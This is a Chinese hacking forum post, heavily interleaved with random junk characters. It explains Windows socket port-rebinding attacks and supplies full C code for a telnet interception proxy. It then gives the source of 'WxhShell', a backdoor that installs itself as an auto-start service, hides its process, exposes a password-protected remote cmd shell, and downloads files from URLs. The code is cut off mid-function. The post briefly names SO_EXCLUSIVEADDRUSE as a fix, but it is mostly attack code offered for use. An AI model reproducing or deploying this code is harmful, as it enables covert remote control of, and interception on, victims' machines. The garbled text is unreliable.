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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: f).*NX s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /8xH$n&xoC 4|[<e-W saddr.sin_family = AF_INET; U/ ?F:QD4 O(VxMO
saddr.sin_addr.s_addr = htonl(INADDR_ANY); }@Xh xZu +J|+es bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); i[$-_ .#*D!;f 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 +7V=aNRlE GI4?|@%vD! 这意味着什么?意味着可以进行如下的攻击: <57g{e0I vqq6B/r@Fu 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Y[W6Sc \UQ9MX _ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ;\N79)Gk /"=29sWB 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Bk,2WtVX q 75ky1^1: 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 (tepmcf 9%sFJ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 d9O:,DKf cZqfz 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 *kP;{Cb` 8tU>DJ}0 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 mge#YV:: n_v02vFAHT #include hM?`x(P #include i8K_vo2Z) #include '|Qd0,Z #include rfYP*QQY DWORD WINAPI ClientThread(LPVOID lpParam); /vHYM S int main() hjkLVL { dUIqD l WORD wVersionRequested; 8qn 9| DWORD ret; OY: u',T WSADATA wsaData; Us'Cs+5XcG BOOL val; 4S tjj!ew SOCKADDR_IN saddr; 0; 7#ji
SOCKADDR_IN scaddr; `|nH1sHFq int err; `%e|$pK SOCKET s; U_]=E<el SOCKET sc; B`i$Wt<7 int caddsize; j_p`Ng HANDLE mt; z)
:ka"e DWORD tid; j1/+\8Y wVersionRequested = MAKEWORD( 2, 2 ); Oukd_Ryf err = WSAStartup( wVersionRequested, &wsaData ); :$Q`>k7A if ( err != 0 ) { 1Pm4.C) printf("error!WSAStartup failed!\n"); V\0E=M*P return -1; !v0"$V5+i } `xCOR saddr.sin_family = AF_INET; 7'z(~3D _ Hc%4I //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ;`DD}j` Xh?4mKgu saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); P$_&
saddr.sin_port = htons(23); K4:
$= if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) e!GZSk
{ K*1.'9/ printf("error!socket failed!\n"); Goxl3LS< return -1; HmMO*k<6@ } &:<, c12 val = TRUE; 1RLym9JN //SO_REUSEADDR选项就是可以实现端口重绑定的 `{[RjM` if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) u"`*DFjo* { *7ZtNo[+ printf("error!setsockopt failed!\n"); #.H}r6jqs return -1; X3<K 1/< } P;73Hr[E# //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; h$>wv` //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 1c$vLo832 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 J/ vK6cO\ A{N\) if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) eNbpwne { b?8)7.{F{ ret=GetLastError(); 1fH<VgF` printf("error!bind failed!\n"); sef]>q return -1; "N 3)Qr } J? .F\`N) listen(s,2); L_Q S0_1 while(1) (!3;X"l { BgM%+b8u caddsize = sizeof(scaddr); -}P7$|O& //接受连接请求 ]W/>Ldv sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 3@_Elu if(sc!=INVALID_SOCKET) zyFUl% { Rb EKP(uw mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); \9/RAY_G if(mt==NULL) YHB9mZi { 1'JD = printf("Thread Creat Failed!\n"); r{_ >ldjq break; E8ta|D } BJk
Z2= } zU&L.+
CloseHandle(mt); {e"dm5 } uR$i48} closesocket(s); .t= WSACleanup(); BRzfic:e return 0; "j^MB)YD } ]A^4}CK^< DWORD WINAPI ClientThread(LPVOID lpParam) O6X"RsI} { ((bTwx SOCKET ss = (SOCKET)lpParam; +.kfU)6@ SOCKET sc; U>a\j2I unsigned char buf[4096]; Jxa4hM0 SOCKADDR_IN saddr; Hr^3`@}#1 long num; g9~]s9 DWORD val; pDl3!m DWORD ret; @kxel`,$e //如果是隐藏端口应用的话,可以在此处加一些判断 IeP
WOpj3 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 TB!((' saddr.sin_family = AF_INET; T^:fn-S}= saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); }r%X`i| saddr.sin_port = htons(23); O"Q7Rx if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) sOpep { <%P2qgz5 printf("error!socket failed!\n"); BUsV|e\ return -1; y(iY } h&;t.Gdf val = 100; nB5zNyY4 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) S6g<M5^R { }ptq
)p ret = GetLastError(); a`!@+6yC return -1; t e,[f } Y`BRh9Sa if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }t%W1UJ { z~{&}Em ~ ret = GetLastError(); ypdT&5Mqb! return -1; 69G`2_eKCp } Ba'LRz if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Bd~1P/ { =1.9/hW printf("error!socket connect failed!\n"); yZkyC'/ closesocket(sc); S/tIwG
~e3 closesocket(ss); Ig6T g ? return -1; :j^FJ@2_ }
rsXq- Pq* while(1) OI}cs2m { &(N+.T5cp //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 )B$;Vs]@i //如果是嗅探内容的话,可以再此处进行内容分析和记录 =
ieag7! //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ~j9O$s~) num = recv(ss,buf,4096,0); =]C]= if(num>0) &--ej|n send(sc,buf,num,0); )#iq4@)|g else if(num==0) bm% $86 break; cyM-)r@YQV num = recv(sc,buf,4096,0); jMNU ?m: if(num>0) [7FItlF%I send(ss,buf,num,0); ._O else if(num==0) ACq7dLys,B break; p< "3&HA } eKvV*[Na closesocket(ss); Iw<i@=V closesocket(sc); tptN6Isuh return 0 ; OTDg5:> } ^-z=`>SrS" W ~f(:: H<EQu|f&x ========================================================== k%]=!5F GL{57 下边附上一个代码,,WXhSHELL /3 B
$( uocHa5J ========================================================== }a
AH ig}A9j?] #include "stdafx.h" NKb1LbnZ*y \*f;X aa #include <stdio.h> %ru;;h #include <string.h> ,\2:/>2 #include <windows.h> E.|-?xQ6 #include <winsock2.h> YH&bD16c3 #include <winsvc.h> c(;a=n(E# #include <urlmon.h> DwHF[]v' ,Uhb #pragma comment (lib, "Ws2_32.lib") N-
H^lqD #pragma comment (lib, "urlmon.lib") l 'DsZ9y@2 @f]{>OS #define MAX_USER 100 // 最大客户端连接数 ,L bBpi=TJ #define BUF_SOCK 200 // sock buffer +l3=3 #define KEY_BUFF 255 // 输入 buffer 0sca4G0{ Bw%Qbs0Q #define REBOOT 0 // 重启 ,<BbpIQ2o #define SHUTDOWN 1 // 关机 *}k;L74| ^sN ( #define DEF_PORT 5000 // 监听端口 yeDsJ/L ^V$Ajt #define REG_LEN 16 // 注册表键长度 #jA[9gWI #define SVC_LEN 80 // NT服务名长度 .
8N.l^0, FIxFnh3~ // 从dll定义API ]I3!fEAWR typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); JRCrZW} typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <S?ddp2 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); < -W*$?^ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); MUfG?r\t +)o}c"P! // wxhshell配置信息
`\Hf]b struct WSCFG { A+hT3;lp int ws_port; // 监听端口 (jU6GJRP char ws_passstr[REG_LEN]; // 口令 H"ZZ.^"5FV int ws_autoins; // 安装标记, 1=yes 0=no ;22oY>w char ws_regname[REG_LEN]; // 注册表键名 m3Il3ZY. char ws_svcname[REG_LEN]; // 服务名 otggN:^Qw char ws_svcdisp[SVC_LEN]; // 服务显示名 [kE."# char ws_svcdesc[SVC_LEN]; // 服务描述信息 gUyR_5q)8l char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !,V{zTR int ws_downexe; // 下载执行标记, 1=yes 0=no 5waKI?4F char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" "HE^v_p char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \]$IDt(s _uc
hU= }; V3 ~~ .{y
uo{u // default Wxhshell configuration ]?*I9 struct WSCFG wscfg={DEF_PORT, B,,D7cQC "xuhuanlingzhe", ")=X4]D 1, P#=`2a#G "Wxhshell", 8 r_>t2$ "Wxhshell", lz1wO5%h "WxhShell Service", "*G.EiLq "Wrsky Windows CmdShell Service", mZd ,
9 "Please Input Your Password: ", vWGwVH/K 1, r@ZJ{4\Q " http://www.wrsky.com/wxhshell.exe", u\eEh*<7q "Wxhshell.exe" e=O,B8)_ }; Yw#2uh tHzZ@72B7 // 消息定义模块 ,}K<*t[I char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ai0XL}!+ char *msg_ws_prompt="\n\r? for help\n\r#>"; M)SEn/T- char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; lRXK\xIP , char *msg_ws_ext="\n\rExit."; zc[Si bT char *msg_ws_end="\n\rQuit."; LD!Q8" char *msg_ws_boot="\n\rReboot..."; GvBHd%Ot char *msg_ws_poff="\n\rShutdown..."; #8)*1? char *msg_ws_down="\n\rSave to "; ;Iq/l%vX l+V>]?j char *msg_ws_err="\n\rErr!"; K4kMM*D char *msg_ws_ok="\n\rOK!"; ,G)r=$XU T#>7ub char ExeFile[MAX_PATH]; o"*AtGR+" int nUser = 0; 812$`5l HANDLE handles[MAX_USER]; t. ;LnrY int OsIsNt; ~?(N r?/'!!4 SERVICE_STATUS serviceStatus; F i0GknQ+ SERVICE_STATUS_HANDLE hServiceStatusHandle; EAM5{Nc ~c\e'≻ // 函数声明 RsYU59_Y int Install(void); t<#h$}=:Vt int Uninstall(void); p|! int DownloadFile(char *sURL, SOCKET wsh); 6Oy$gW) int Boot(int flag); )rC6*eR void HideProc(void); <)3u6Vky9 int GetOsVer(void); 0=?<y'= int Wxhshell(SOCKET wsl); @Z12CrJ void TalkWithClient(void *cs);
P
Y int CmdShell(SOCKET sock); t2)rUWg int StartFromService(void); ^jx7@LgS= int StartWxhshell(LPSTR lpCmdLine); P?k0zwOlBl ]UmFhBR- VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); pej|!oX VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4T ~} 4qk9NK2 U // 数据结构和表定义 9gmW&{6q SERVICE_TABLE_ENTRY DispatchTable[] = %
yw?s0 { a24"yT {wscfg.ws_svcname, NTServiceMain}, o7$'cn {NULL, NULL} !4X
f~P }; I"ok&^t^} f.9SB
// 自我安装 R#I0|;q4|p int Install(void) 1]p ZrBh"E { :>C2gS@ char svExeFile[MAX_PATH]; P(f0R8BE HKEY key; NGbG4-w- strcpy(svExeFile,ExeFile); H5Io{B%= e7sp =I, // 如果是win9x系统,修改注册表设为自启动 <P=twT;P if(!OsIsNt) { qHrc9fB if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;'cN<x)%| RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VcXq?f>\ RegCloseKey(key); ()6wvu} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z62;cv RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j3{D^|0bP RegCloseKey(key); eLfk\kk]Pc return 0; $adbCY\ } {y_98N } )!P)U(*v } :qd`zG3 else { T[g[&K1Y 5?]hd*8 // 如果是NT以上系统,安装为系统服务 f}9zgWU SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); f,kZ\Ia'r if (schSCManager!=0) ']2E {V { e?8HgiP- SC_HANDLE schService = CreateService '/^qJ7eb ( 7+\+DujE$ schSCManager, ;)D];u|_ wscfg.ws_svcname, xHD=\,{ig wscfg.ws_svcdisp, M`,)w i SERVICE_ALL_ACCESS, OCBgR4I SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , JzQ )jdvp SERVICE_AUTO_START, uM_wjP SERVICE_ERROR_NORMAL, @`q:IIgW svExeFile, h4T5+~rw NULL, lPw%ErG NULL, wAf\|{Vn NULL, qVH1}9_ NULL, .\)U@L~ NULL NQJq6S4@ ); [OC5l> if (schService!=0) E2R&[Q"% { X\{LnZ@r4 CloseServiceHandle(schService); Y^$X*U/q%U CloseServiceHandle(schSCManager); Y 0d<~* strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); '"SEw
w strcat(svExeFile,wscfg.ws_svcname); l`#4KCL( if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { pKpUXfQu RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); X-K=!pET RegCloseKey(key); wn/_}]T return 0; L ~lxXTG\ } >\KNM@'KI } u{['<r;I CloseServiceHandle(schSCManager); RI(DXWM|h } F8jd'OR } -p]1=@A<} I|gB@|_~ return 1; &$`P,i 1) } $u]jy0X<Y; vq(0OPj8r[ // 自我卸载 aX)I3^ar int Uninstall(void) gG<~-8uQ { M2OIBH4! HKEY key; !dyXJQ <>y;.@}Q if(!OsIsNt) { itBwCIj G if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -GhP9; d RegDeleteValue(key,wscfg.ws_regname); (^TF%(H RegCloseKey(key); 5:Z0Pt if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g
jDh?I RegDeleteValue(key,wscfg.ws_regname); 1OCeN%4]Qk RegCloseKey(key); o<BOYrS return 0; lr>oYS0 } 5m\<U` }
M+||rct } q&s3wDl/ else { X[]m _@ v 6Ypc` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Ql/cN%^j$ if (schSCManager!=0) v$7QIl_/7 { ,?8qpEG~#+ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ORe(]I`Z if (schService!=0) /uPcXq:L~ { _x%7@.TB if(DeleteService(schService)!=0) { y{ibO}s CloseServiceHandle(schService); ^1iSn)& CloseServiceHandle(schSCManager); [$0p+1 return 0; g!@<n1 L } q rJ`1 CloseServiceHandle(schService); {XR6>] } x+Ttl4 CloseServiceHandle(schSCManager); H?<N.Dq } C'\-
@/ } k1w_[w[ 6&
e3Nt return 1; i2E)P x } ehzM)uK 60P#,o@G // 从指定url下载文件 ]R h#g5X int DownloadFile(char *sURL, SOCKET wsh) |=Eo?Q_ { (G zb HRESULT hr; "6MVvpy" char seps[]= "/"; QdT}wkX char *token; z>58dA@f char *file; 1"zDin!A char myURL[MAX_PATH]; _4"mAPt char myFILE[MAX_PATH]; }Lc-7[/ nzd2zY>V strcpy(myURL,sURL); Wk~WOzr}^ token=strtok(myURL,seps); 0h#lJS* while(token!=NULL) _ky,;9G] { 5]KW^sL file=token; %<k2#6K token=strtok(NULL,seps); Gw>^[dmt! } FQu8vwV6> )Xk0VDNp$/ GetCurrentDirectory(MAX_PATH,myFILE); 7C,&*Ax,9 strcat(myFILE, "\\"); O@u?h9?cf> strcat(myFILE, file); ]op}y0 send(wsh,myFILE,strlen(myFILE),0); 7mI:|G send(wsh,"...",3,0); D^yRaP*|7 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =5J7Hw&K if(hr==S_OK) e<3K;Q return 0; aC$B2 else aZ2!i return 1; ]NUl9t*N4 JlH&?? } K(q+
" .>=(' - // 系统电源模块 <e Th int Boot(int flag) 7&t-pv92* { <'qeXgi HANDLE hToken; !nqUBa TOKEN_PRIVILEGES tkp; AqWUwK9T 0H6(EzN if(OsIsNt) { ?oVx2LdD| OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); M2
,YsHt
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %-)H^i~]% tkp.PrivilegeCount = 1; )2Wi`ZT tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7|{}\w(I AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "S8uoSF`> if(flag==REBOOT) { vMA]j>> if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) wN@oYFoL return 0; 2/vMoVT, } -=%@L&y1 else { QqFR\6 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -m)X]]~C return 0; pOGeruu? } v=0(~<7B } GR&z, else { G9Y#kBr if(flag==REBOOT) { GGNvu)" if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Bzkoo J return 0;
3L<wQ( } 7op`s5i else { &+cEV6vb+ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) iIMd!Q.)@ return 0; lpQSup } =y
[M\m } .n#@$
nGZ T ?$:'XJ return 1; 5]NqRI^0 } Kf>A\l^X7 C>-aIz!y // win9x进程隐藏模块 fmQ_P.c void HideProc(void) BcL{se9< { ~<O7$~ :yRo3c HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); KV]X@7`@ if ( hKernel != NULL ) `7[EKOJ3g { 5"CZh.J pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); igIRSN}h ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3N dq> FreeLibrary(hKernel);
8cU}I4| } k,85Y$`' M.x=<:upp return; gnFr}L&j } C9~52+S ",^Mxm{ // 获取操作系统版本 kqM045W7 int GetOsVer(void) 6hlc1? { oI=fx Sjd OSVERSIONINFO winfo; OjFLPGRCh winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =8t]\Y? GetVersionEx(&winfo); >hPQRd if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) SO IHePmwK return 1; 1M}5>V{ else /.3}aj;6 return 0; RZHd9v$ } 2[Z,J%:0 N!ls j
\- // 客户端句柄模块 6eT5ktf int Wxhshell(SOCKET wsl) ]ro*G"-_1# { '_GrD>P)- SOCKET wsh; xfpa]Z struct sockaddr_in client; ,5|&A DWORD myID; **$LR<L Gcdd3W`O while(nUser<MAX_USER) v:!Z=I}> { A;*d}Xe&J int nSize=sizeof(client); S#MZV@nGF wsh=accept(wsl,(struct sockaddr *)&client,&nSize); PMNjn9d if(wsh==INVALID_SOCKET) return 1; )CuZDf@ B.dH(um handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .ni_p 6! if(handles[nUser]==0) 4(|cG7>9- closesocket(wsh); ba[1wFmcL else qHuZcht nUser++; v-#Q7T } #pb92kA' WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); e4!:c^? X' d9[). return 0; $ {O# } Km(n7Ah" $"FQj4%d // 关闭 socket jBgP$g void CloseIt(SOCKET wsh) @ o3T { =<{np closesocket(wsh); _I)U%?V+ nUser--; {4G%:09~J ExitThread(0); f|B=_p80 } >+JqA7K ?\t#1"d // 客户端请求句柄 %/|9@e r void TalkWithClient(void *cs) W+PJZn { HkO7R
` *VFf.aPwYi SOCKET wsh=(SOCKET)cs; g+pml*LJ char pwd[SVC_LEN]; K? y[V1, char cmd[KEY_BUFF]; x[$z({Yf char chr[1]; mVVD! int i,j; +3BBQ+x! 8zRP(+&W while (nUser < MAX_USER) { ZZHDp&lh} ]L9s%]o if(wscfg.ws_passstr) { VHCK2}ps if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~io szX //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 43mP]*=A //ZeroMemory(pwd,KEY_BUFF); Y0x%sz5 i=0; 5Ow[~p"l< while(i<SVC_LEN) { vR s,zL$W TygW0b 1 // 设置超时 K('hC)1 fd_set FdRead; 7JEbH?lEN struct timeval TimeOut; wgamshm"d FD_ZERO(&FdRead); 'eLqlu|T FD_SET(wsh,&FdRead); M_"L9^^>N TimeOut.tv_sec=8; q1QL@Ax TimeOut.tv_usec=0; ZUoxMm
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \6R,Nq if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); w8MG(Lq1" @JD;k> if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QR%mj*@Wle pwd =chr[0]; ;_rF;9z9 if(chr[0]==0xd || chr[0]==0xa) { ,1 [q^-9 pwd=0; '}fzX2Q# break; )n2 re?S } %Z):>' i++; *=(lyx_O } gDQ1?N'8{t 9y<*8bI // 如果是非法用户,关闭 socket f"%{%M$K if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +y&Tf#.V/A } y%%}k bgK'{_o- send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7R6ry(6N send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l)Crc-:}4j ^; )8VP6 while(1) { @\f^0^G D;;!ODX$? ZeroMemory(cmd,KEY_BUFF); gBC@38|6) ,.OERw // 自动支持客户端 telnet标准 (NF~Ck$#q j=0; cc~O&?)i while(j<KEY_BUFF) { n=y[CKS if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [8T^@YN cmd[j]=chr[0]; PE5R7)~A if(chr[0]==0xa || chr[0]==0xd) { _$
+^q- cmd[j]=0; |4B:<x break; _V7r1fY: } umt.Um.m2 j++; YVHm{A1b0 } FB{KH . -OapVa c // 下载文件 ;#vKi0V7 if(strstr(cmd,"http://")) { ]pH-2_ send(wsh,msg_ws_down,strlen(msg_ws_down),0); %M7` Hwu if(DownloadFile(cmd,wsh)) k'Sp. send(wsh,msg_ws_err,strlen(msg_ws_err),0); |wH5sjT else ,*7 (%k^` send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :lf+W } rA%usaW else { -o$QS, '}B+r@YCN switch(cmd[0]) { Q9Kve3u-i mi,E- // 帮助 P<M?Qd1. case '?': { $W!!wN=B send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); kBD>-5Sn_T break; $5ak_@AC } P)Rh=U // 安装 05b_)&4R case 'i': { A v2 08}Y if(Install()) "1L$| send(wsh,msg_ws_err,strlen(msg_ws_err),0); G(p`1~xm else Wu[&Wv~ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); { g/0x,-Z break; /v-6WSN } }\\KYyjY // 卸载 pe] A5\4c case 'r': { 3?V_BUoON if(Uninstall()) c'%-jG)\ send(wsh,msg_ws_err,strlen(msg_ws_err),0); SYCEQ5
- else _B/dWA,P send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >z%&xgOa break; ]n_
k` } GO`Ru 8 // 显示 wxhshell 所在路径 $\]&rZVi case 'p': { `*_mP<Ag char svExeFile[MAX_PATH]; [lWQ'DZ strcpy(svExeFile,"\n\r"); lDYyqG4 strcat(svExeFile,ExeFile); VF?<{F send(wsh,svExeFile,strlen(svExeFile),0); [RLN;(0n break; =5/9%P8j9 } xv(9IEjt0 // 重启 Y2n!>[[. case 'b': { BK)$'AqO send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); g;qx">xJ`o if(Boot(REBOOT)) DW5Y@;[
send(wsh,msg_ws_err,strlen(msg_ws_err),0); [|(N_[E|6 else { YKH\rN6X closesocket(wsh); QdL`| ExitThread(0); o0ifp=V
y } lQ" p ! break; gkES5Q } ="Ho%*@6 // 关机 *AO,^R&e. case 'd': {
'EbWFMjy send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); jQ2Ot < if(Boot(SHUTDOWN)) gtk7)Uh send(wsh,msg_ws_err,strlen(msg_ws_err),0); x=b7': nQ else { tzZ`2pSh closesocket(wsh); &O9 |#YUq ExitThread(0); H`1{_ } xe{!wX break; vk77B(u } O_wEcJPE // 获取shell OSs&r$ case 's': { :Av#j@# CmdShell(wsh); n>ULRgiT:o closesocket(wsh); WY?[,_4U ExitThread(0); (.D~0a JU break; Si8pzd } }uJu>'1[G // 退出 *5%d XixN case 'x': { =Je[c,&j$? send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); tnH2sHby CloseIt(wsh); $*e2YQdLo break; B*
?]H*K } fI&t] // 离开 U>]$a71 case 'q': { _I@9HC 4 send(wsh,msg_ws_end,strlen(msg_ws_end),0); Fv~20G(O closesocket(wsh); <0b)YJb4M WSACleanup(); c~z82iXNO exit(1); l`oZ)?ur break; )bS yB29S } ~Sj9GxTe } sDPs
G5q< } |TS>hwkI O(fM?4w // 提示信息 7gf05Z'= if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XGYbnZ~
} d,+Hd2o^X } &]`(v}`] +R3k-' > return; U{2BVqM } (}Z@R#njH ]Lf{Jboo // shell模块句柄 >_[9t int CmdShell(SOCKET sock) '(U-(wTC'/ { '@o;-'b STARTUPINFO si; .~~nUu+M ZeroMemory(&si,sizeof(si)); .nrMfl_ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tr<Nm6! si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; bo2H]PL* PROCESS_INFORMATION ProcessInfo; S0zD"T char cmdline[]="cmd"; o_XflzC CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Bmr>n6| return 0; [%q@]\U$s } @5N]ZQ9 BF\XEm?! // 自身启动模式 '~5LY!H(pT int StartFromService(void) &5\iM^ { ;O,+2VzP%^ typedef struct '*K :
lx { `F-/QX[: DWORD ExitStatus; Rw"sJ) / DWORD PebBaseAddress; h}[-'>{ DWORD AffinityMask; \nXtH}9ZF DWORD BasePriority; *:Y%HAy* ULONG UniqueProcessId; zwhe ULONG InheritedFromUniqueProcessId; ?M8dP%&r } PROCESS_BASIC_INFORMATION; ^X=arTE &*##bA"!B PROCNTQSIP NtQueryInformationProcess; <fZyAa3} H3z:ZTI static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {x|[p_? static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8m-U){r!U^ \HqNAE2T HANDLE hProcess; t)~"4]{*}D PROCESS_BASIC_INFORMATION pbi; "H7dft/ Pr3qo4t.L HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {+] [5<q if(NULL == hInst ) return 0; <`.X$r* o)h_H; g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); I4'5P}1yp g_pGetModuleBaseName = 